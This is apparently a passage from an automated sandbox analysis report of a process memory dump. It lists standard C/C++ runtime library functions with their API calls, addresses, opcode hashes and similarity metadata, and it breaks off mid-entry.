___security_init_cookie.LIBCMT ref: 00C56752

Part of subcall function 00C56D21: ___get_entropy.LIBCMT ref: 00C56D3B

___scrt_release_startup_lock.LIBCMT ref: 00C567EE
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 00C56802
___scrt_is_nonwritable_in_current_image.LIBCMT ref: 00C56828
___scrt_uninitialize_crt.LIBCMT ref: 00C56871

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ___scrt_is_nonwritable_in_current_image$___get_entropy___scrt_release_startup_lock___scrt_uninitialize_crt___security_init_cookie
String ID:
API String ID: 2539496024-0
Opcode ID: 63491cac35b2bb283065b88e80991591beb09e4d23c6b8edc0a5e902f13cab98
Instruction ID: d1d953ef1ecdf6df9ad9fa5dd14331c4afe832d345455b54b7e018621e888435
Opcode Fuzzy Hash: 63491cac35b2bb283065b88e80991591beb09e4d23c6b8edc0a5e902f13cab98
Instruction Fuzzy Hash: 5231483A6442119AEB247B74A807B9C77A09F1272BF600469FC516B1D3DE214ECCB75C

Uniqueness

Uniqueness Score: -1.00%

Function 004ACD9D, Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

__dosmaperr.LIBCMT ref: 004ACE09
__dosmaperr.LIBCMT ref: 004ACE46
__dosmaperr.LIBCMT ref: 004ACE9A
_free.LIBCMT ref: 004ACEA6
_free.LIBCMT ref: 004ACEAD

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __dosmaperr$_free
String ID:
API String ID: 242264518-0
Opcode ID: a5d9d9b3fafa77f5840adda4f11a551e84a5c9b1e7baef7c2983b9ee995455f2
Instruction ID: f39add106dbc1116281e3f0bc68ec0e706161369b66cd82ea2aadc2fc5e9eb24
Opcode Fuzzy Hash: a5d9d9b3fafa77f5840adda4f11a551e84a5c9b1e7baef7c2983b9ee995455f2
Instruction Fuzzy Hash: 8531B17280110ABFDF11AFA5DC85DFF3B68AF56325B10012AF91096291DB398D11DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00433006, Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0043300D
std::_Lockit::_Lockit.LIBCPMT ref: 0043301A

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0043306D
std::_Lockit::~_Lockit.LIBCPMT ref: 004330A9
Concurrency::cancel_current_task.LIBCPMT ref: 004330B6

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$H_prolog3_Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2687776920-0
Opcode ID: 47d17ada41617051c4e826c128848fcfaee918a060b064c64cdafa41d6349d30
Instruction ID: 07115667762014d115be0965e30639c84d16096a2aff31e3f5105c38e37937e2
Opcode Fuzzy Hash: 47d17ada41617051c4e826c128848fcfaee918a060b064c64cdafa41d6349d30
Instruction Fuzzy Hash: ED21D231E002099FCB04EFA6D5456AEB7B4AF08324F60412FE415AB282CB3C9E058B99

Uniqueness

Uniqueness Score: -1.00%

Function 00483AE0, Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00483AE7
std::_Lockit::_Lockit.LIBCPMT ref: 00483AF4

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 00483B47
std::_Lockit::~_Lockit.LIBCPMT ref: 00483B83
Concurrency::cancel_current_task.LIBCPMT ref: 00483B90

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$H_prolog3_Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2687776920-0
Opcode ID: 27863822ff5fddab39fb780662e3abb8cd09823af2c3e27421d52e8f3e26a775
Instruction ID: 71df51e63383c82d6613613f72a55524ffaf3c518d96626f5c7c2fbd04fbbec9
Opcode Fuzzy Hash: 27863822ff5fddab39fb780662e3abb8cd09823af2c3e27421d52e8f3e26a775
Instruction Fuzzy Hash: 05219071E002199BCB05FFA5D5456AFB7B4EF08714F60056FE414AB2C2DB3C9E058B99

Uniqueness

Uniqueness Score: -1.00%

Function 0042FD2A, Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0042FD31
std::_Lockit::_Lockit.LIBCPMT ref: 0042FD3E

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0042FD91
std::_Lockit::~_Lockit.LIBCPMT ref: 0042FDCD
Concurrency::cancel_current_task.LIBCPMT ref: 0042FDDA

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$H_prolog3_Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2687776920-0
Opcode ID: b42b39c63098b4e66bb8208c3d7fb7bbe50a00d123d7e24f32644ba0a8f7bbd7
Instruction ID: 21837085d009165f1aa416735b22d1fa0337be0389476ff367f177046396bb4e
Opcode Fuzzy Hash: b42b39c63098b4e66bb8208c3d7fb7bbe50a00d123d7e24f32644ba0a8f7bbd7
Instruction Fuzzy Hash: 1B21DF31E0021A9FCB04EFA5E4456EEB7B4AF04714FA0412FE515AB2C2DB3C9E058F98

Uniqueness

Uniqueness Score: -1.00%

Function 0042FE86, Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0042FE8D
std::_Lockit::_Lockit.LIBCPMT ref: 0042FE9A

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0042FEED
std::_Lockit::~_Lockit.LIBCPMT ref: 0042FF29
Concurrency::cancel_current_task.LIBCPMT ref: 0042FF36

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$H_prolog3_Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2687776920-0
Opcode ID: e1fe4d562fe0ae853163a3da7a14a0b384e572139f5f4e73f70563a75e3870c3
Instruction ID: 81ea1123f81f8e3d168c477dc80079d897b05023751513951002d9ccbf9808e8
Opcode Fuzzy Hash: e1fe4d562fe0ae853163a3da7a14a0b384e572139f5f4e73f70563a75e3870c3
Instruction Fuzzy Hash: A121F331E0021A9FDB04EFA595456AEB774AF04314FA0013FF411AB282DF385E068B98

Uniqueness

Uniqueness Score: -1.00%

Function 0048BAE8, Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

_Maklocstr.LIBCPMT ref: 0048BB08
_Maklocstr.LIBCPMT ref: 0048BB25
_Maklocstr.LIBCPMT ref: 0048BB42
_Maklocchr.LIBCPMT ref: 0048BB54
_Maklocchr.LIBCPMT ref: 0048BB67

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Maklocstr$Maklocchr
String ID:
API String ID: 2020259771-0
Opcode ID: 34cf90e3e3148004189a13a579c1e3bce355c5396e48280923d2bbe1d94db65f
Instruction ID: 1ab497323cbdf39865de47dc4c966775a270c3ec26ced47c98b89d2a594a10ce
Opcode Fuzzy Hash: 34cf90e3e3148004189a13a579c1e3bce355c5396e48280923d2bbe1d94db65f
Instruction Fuzzy Hash: 7B118CB1500744BFE720EBA59881F17B7ECEB09318F04491AF1448BA41D379F85587E9

Uniqueness

Uniqueness Score: -1.00%

Function 00C8F473, Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001,?), ref: 00C8F489
GetLastError.KERNEL32(?,?,?), ref: 00C8F493
__dosmaperr.LIBCMT ref: 00C8F49A
SetFilePointerEx.KERNEL32(?,?,?,?,?), ref: 00C8F4B8
SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,?,?,?), ref: 00C8F4DE

Memory Dump Source

Source File: 00000005.00000002.465719306.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000005.00000002.465711718.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465922780.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.465931000.0000000000CA3000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.465955559.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointer$ErrorLast__dosmaperr
String ID:
API String ID: 1114809156-0
Opcode ID: c2f81d6417044f16334b89b5205d7efdc284b68da033adab084fb3c44bd2fae8
Instruction ID: 06772465e880a2439a7d73322e85b1709b8061f0dc0bd4c7d165d57f72a146db
Opcode Fuzzy Hash: c2f81d6417044f16334b89b5205d7efdc284b68da033adab084fb3c44bd2fae8
Instruction Fuzzy Hash: BD016D71900129BBDF21AFA5DC48AEF7F3DFF80764F14415AB834920A0C7308A41EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0048C5E6, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048C5ED
std::_Lockit::_Lockit.LIBCPMT ref: 0048C5F7

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048C648
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C668
Concurrency::cancel_current_task.LIBCPMT ref: 0048C675

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: b9119180e79beb665a03a3fc378a288d6d2900f69ef4ec72af5fc5e92b0b1f49
Instruction ID: aef4afcf62bf41a94b05ecd4f02ab16faa9e11d6d49223e49f447fbe2a6d1aae
Opcode Fuzzy Hash: b9119180e79beb665a03a3fc378a288d6d2900f69ef4ec72af5fc5e92b0b1f49
Instruction Fuzzy Hash: 97010031E002258BCB01FB65D85AABE77B1AF84318F14085FF410AB382DF7C9E0187A9

Uniqueness

Uniqueness Score: -1.00%

Function 0049965E, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00499665
std::_Lockit::_Lockit.LIBCPMT ref: 0049966F

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 004996C0
std::_Lockit::~_Lockit.LIBCPMT ref: 004996E0
Concurrency::cancel_current_task.LIBCPMT ref: 004996ED

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 1361f327450776258036e252e1eb330065496c3a0b44cbb1ef9c427a0951a425
Instruction ID: 632aec8e941a6f8264a3958551e04476efeb4a27318b838572e2971dc9c0275a
Opcode Fuzzy Hash: 1361f327450776258036e252e1eb330065496c3a0b44cbb1ef9c427a0951a425
Instruction Fuzzy Hash: C501C432D001158BCF05FBA9E8596BE7B61AF84714F14042FE4116B392CF7CAD01C799

Uniqueness

Uniqueness Score: -1.00%

Function 0048C67B, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048C682
std::_Lockit::_Lockit.LIBCPMT ref: 0048C68C

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048C6DD
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C6FD
Concurrency::cancel_current_task.LIBCPMT ref: 0048C70A

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 2610cede116285a7b16c44db75211bf99cf7681eafe2dd1bcc3ed7b1ed237458
Instruction ID: 763280d64c59db26a0c921a3853d59946f1e1473d98edf89d40c6471ebc0812a
Opcode Fuzzy Hash: 2610cede116285a7b16c44db75211bf99cf7681eafe2dd1bcc3ed7b1ed237458
Instruction Fuzzy Hash: 9101C435D001158BCB05FB65D855ABE7761AF44314F14481FE811AB392DF7C9D018B99

Uniqueness

Uniqueness Score: -1.00%

Function 004996F3, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 004996FA
std::_Lockit::_Lockit.LIBCPMT ref: 00499704

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 00499755
std::_Lockit::~_Lockit.LIBCPMT ref: 00499775
Concurrency::cancel_current_task.LIBCPMT ref: 00499782

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 6abf941506e14b7361d78e07810b47e72f0795a2fff70a3903a1292df73f82db
Instruction ID: ecc89c3d6ce8d14d77863c0b9530e6bbc954f4bcb563ace94741e2b5c7e459db
Opcode Fuzzy Hash: 6abf941506e14b7361d78e07810b47e72f0795a2fff70a3903a1292df73f82db
Instruction Fuzzy Hash: D601ED35D00115DBCF01FBA9985A6BE7BA0AF80318F54446FE411AB382CF389E01CB89

Uniqueness

Uniqueness Score: -1.00%

Function 0048C710, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048C717
std::_Lockit::_Lockit.LIBCPMT ref: 0048C721

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048C772
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C792
Concurrency::cancel_current_task.LIBCPMT ref: 0048C79F

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 7233701963cd401046e6d92841f82ed26d5360e8ba0577fce7e5c73750c9d637
Instruction ID: 58dec0d1fe3bd3fda58d2b996ba06d0af7309955b4bc7c56c9799c0485bcf23a
Opcode Fuzzy Hash: 7233701963cd401046e6d92841f82ed26d5360e8ba0577fce7e5c73750c9d637
Instruction Fuzzy Hash: 5301A175E001169BCB05FB6598996BE7771AF84314F24095EE4106B382CF7C9E018B99

Uniqueness

Uniqueness Score: -1.00%

Function 0048C7A5, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048C7AC
std::_Lockit::_Lockit.LIBCPMT ref: 0048C7B6

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048C807
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C827
Concurrency::cancel_current_task.LIBCPMT ref: 0048C834

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 2df940732c53b17db10b5e41f26ad0a1d31bdbdcc3de7715b241603d4b1ebf81
Instruction ID: e36a4d9fe8cc4170cb1dd06fa06e0c07e4575a9c3f34773dfdf7fe1810bf6a8d
Opcode Fuzzy Hash: 2df940732c53b17db10b5e41f26ad0a1d31bdbdcc3de7715b241603d4b1ebf81
Instruction Fuzzy Hash: E901C435D001168BCB05FBA5D859ABE77A1AF84314F54081FF810AB382DF3C9E01CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004998B2, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 004998B9
std::_Lockit::_Lockit.LIBCPMT ref: 004998C3

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 00499914
std::_Lockit::~_Lockit.LIBCPMT ref: 00499934
Concurrency::cancel_current_task.LIBCPMT ref: 00499941

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 0e9bd867374baf6000a31275340e654b5b7aea78279cd26d6454baf336a4bb18
Instruction ID: f48d92260b285a688d3f172a5cfa79e7b510e4c62925896f1aaef37141bc9d65
Opcode Fuzzy Hash: 0e9bd867374baf6000a31275340e654b5b7aea78279cd26d6454baf336a4bb18
Instruction Fuzzy Hash: 8401A172D002158BCF15FB6998996BE7B61AF90318F54042EE4116B392CF7C9D01C799

Uniqueness

Uniqueness Score: -1.00%

Function 00499947, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0049994E
std::_Lockit::_Lockit.LIBCPMT ref: 00499958

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 004999A9
std::_Lockit::~_Lockit.LIBCPMT ref: 004999C9
Concurrency::cancel_current_task.LIBCPMT ref: 004999D6

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 0daafc2dec987b19df32decd132da27655d4e0972ca025a0e5a46bea218a48e9
Instruction ID: 58302f9919c5a46ba8c60c13022793c9855dc3c5662e0e09ac0ca11f89d5a2fc
Opcode Fuzzy Hash: 0daafc2dec987b19df32decd132da27655d4e0972ca025a0e5a46bea218a48e9
Instruction Fuzzy Hash: 38010471D001158BCF01FB6AD85A6BE7B61AF90314F14441FE4116B382CF7C9D01CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0048CA8E, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048CA95
std::_Lockit::_Lockit.LIBCPMT ref: 0048CA9F

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048CAF0
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CB10
Concurrency::cancel_current_task.LIBCPMT ref: 0048CB1D

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 02663d46bd9c07ad8c8a235627f5ab71225bb9e7f2a485408051f7273ab4dd3d
Instruction ID: a7a15d95216993b99ba8e90ec71ce381733d70cc155042a2120f37279bda4077
Opcode Fuzzy Hash: 02663d46bd9c07ad8c8a235627f5ab71225bb9e7f2a485408051f7273ab4dd3d
Instruction Fuzzy Hash: D101C475D005198BCB05FB65E85A6BE7761AF80714F14481FE4116B3D2CF7C9D01C799

Uniqueness

Uniqueness Score: -1.00%

Function 0048CB23, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048CB2A
std::_Lockit::_Lockit.LIBCPMT ref: 0048CB34

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048CB85
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CBA5
Concurrency::cancel_current_task.LIBCPMT ref: 0048CBB2

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 279528fea0e826c42f7cd90493ac86173f5d7e35c76eccb7b557a0c2ec52c703
Instruction ID: 3dd892e0772eddc7054554b0902ad7e6281940cfcea5854e0b39ab2737061eef
Opcode Fuzzy Hash: 279528fea0e826c42f7cd90493ac86173f5d7e35c76eccb7b557a0c2ec52c703
Instruction Fuzzy Hash: 61010471D005158BCB01FBA5E856ABE7770AF84714F54094FE4116B382CF3C9E00C799

Uniqueness

Uniqueness Score: -1.00%

Function 0048CBB8, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048CBBF
std::_Lockit::_Lockit.LIBCPMT ref: 0048CBC9

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048CC1A
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CC3A
Concurrency::cancel_current_task.LIBCPMT ref: 0048CC47

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: b256264d93bca9508cb44720cae6e44c06a111bc019737db483cc462bc28a1ed
Instruction ID: 510b584475f0b4ab2b12819a85194bdfaf119ca4a28ecfc60026ba2dec7a6381
Opcode Fuzzy Hash: b256264d93bca9508cb44720cae6e44c06a111bc019737db483cc462bc28a1ed
Instruction Fuzzy Hash: 9B01C031D002198BCB05FBA9E9596BE77A1AF90318F54485FE810AB392CF7C9E01C799

Uniqueness

Uniqueness Score: -1.00%

Function 0048CC4D, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048CC54
std::_Lockit::_Lockit.LIBCPMT ref: 0048CC5E

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048CCAF
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CCCF
Concurrency::cancel_current_task.LIBCPMT ref: 0048CCDC

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: e19b08316931a09d210142fa29a39eb4fd7c28283043ba3cfacaad745288eb28
Instruction ID: a09a396f34704b041d7832a82a42cf76a4e71d69e7351eae3f27ab7c02dba916
Opcode Fuzzy Hash: e19b08316931a09d210142fa29a39eb4fd7c28283043ba3cfacaad745288eb28
Instruction Fuzzy Hash: 4201C436D001158BCB06FB65D9556BE7761AF44314F15085FE4156B382CF3C9E018799

Uniqueness

Uniqueness Score: -1.00%

Function 0048CE0C, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048CE13
std::_Lockit::_Lockit.LIBCPMT ref: 0048CE1D

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048CE6E
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CE8E
Concurrency::cancel_current_task.LIBCPMT ref: 0048CE9B

Memory Dump Source

Source File: 00000005.00000002.465278051.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 86951028538775038ad657933a30b28308708f01fecc0618139120df9de89184
Instruction ID: a03dd6cb66350b0deeff51fad41350ed0add3e3c2ce38a763f2c52a7333759bf
Opcode Fuzzy Hash: 86951028538775038ad657933a30b28308708f01fecc0618139120df9de89184
Instruction Fuzzy Hash: 8301ED719002298BCB01FB65D899ABE77A1AF94314F14081EE410AB382CF789E01CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0048CEA1, Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0048CEA8
std::_Lockit::_Lockit.LIBCPMT ref: 0048CEB2

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048CF03
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CF23
